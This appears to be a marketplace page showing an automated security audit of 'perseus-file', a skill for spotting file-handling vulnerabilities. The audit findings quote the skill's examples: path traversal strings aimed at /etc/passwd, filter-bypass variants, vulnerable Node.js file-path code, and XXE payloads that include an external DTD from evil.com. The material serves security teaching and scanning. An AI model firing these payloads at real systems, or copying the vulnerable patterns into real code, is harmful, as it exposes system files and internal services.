perseus-file
Perseus File analyzes file security vulnerabilities like path traversal and XXE in user codebases, ensuring robust defense against attacks.
Install this skill
Security score
The perseus-file skill was audited on Mar 1, 2026 and we found 23 security issues across 3 threat categories, including 2 critical. Review the findings below before installing.
Categories Tested
Security Issues
Template literal with variable interpolation in command context
| 84 | fs.readFileSync(`./uploads/${filename}`); // filename = "../../../etc/passwd" |
Template literal with variable interpolation in command context
| 160 | fs.writeFileSync(`./data/${req.body.filename}`, content); |
Template literal with variable interpolation in command context
| 170 | fs.unlinkSync(`./uploads/${req.params.file}`); |
Template literal with variable interpolation in command context
| 266 | const dest = `uploads/${req.file.originalname}`; |
Template literal with variable interpolation in command context
| 269 | const dest = `uploads/${crypto.randomUUID()}${ext}`; |
Template literal with variable interpolation in command context
| 485 | res.sendFile(`./uploads/${file}`); |
Access to /etc/passwd
| 84 | fs.readFileSync(`./uploads/${filename}`); // filename = "../../../etc/passwd" |
Access to /etc/passwd
| 179 | ../../../etc/passwd |
Access to /etc/passwd
| 182 | ....//....//....//etc/passwd |
Access to /etc/passwd
| 183 | ..\/..\/..\/etc/passwd (Windows) |
Access to /etc/passwd
| 325 | <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> |
Access to /etc/passwd
| 433 | // Attack: file:///etc/passwd |
Access to /etc/passwd
| 449 | | Path Traversal | `../../../etc/passwd` | File contents returned | |
Access to /etc/passwd
| 491 | GET /download?file=../../../etc/passwd |
Path traversal to sensitive directory
| 84 | fs.readFileSync(`./uploads/${filename}`); // filename = "../../../etc/passwd" |
Path traversal to sensitive directory
| 179 | ../../../etc/passwd |
Path traversal to sensitive directory
| 449 | | Path Traversal | `../../../etc/passwd` | File contents returned | |
Path traversal to sensitive directory
| 491 | GET /download?file=../../../etc/passwd |
External URL reference
| 301 | dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); |
External URL reference
| 302 | dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); |
External URL reference
| 303 | dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); |
External URL reference
| 329 | <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/">]> |
External URL reference
| 332 | <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]> |
Install this skill with one command
/learn @kaivyy/file-security